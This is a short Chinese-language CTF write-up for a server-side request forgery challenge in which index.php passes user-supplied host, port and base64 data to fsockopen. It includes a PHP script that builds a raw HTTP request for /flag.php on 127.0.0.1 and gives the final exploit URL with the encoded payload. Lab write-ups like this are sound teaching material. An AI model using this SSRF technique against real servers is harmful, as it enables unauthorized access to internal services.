这题主要是引入ssrf这个漏洞攻击,本质上没有更深入的考察
本题是需要我们去伪造一个ssrf的请求头去绕过
题目开始给了我们信息让我们去访问index.php
fsockopen函数触发ssrf
fsockopen()
函数建立与指定主机和端口的 socket 连接。然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。
通过了解知道fsockopen函数就要清楚有考察ssrf的意思,需要往这个方向去想
之后就是利用poc构建脚本
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>
得到data,host为127.0.0.1,port为80
之后就是构建url
GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close
用base64加密然后构建url编码
/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=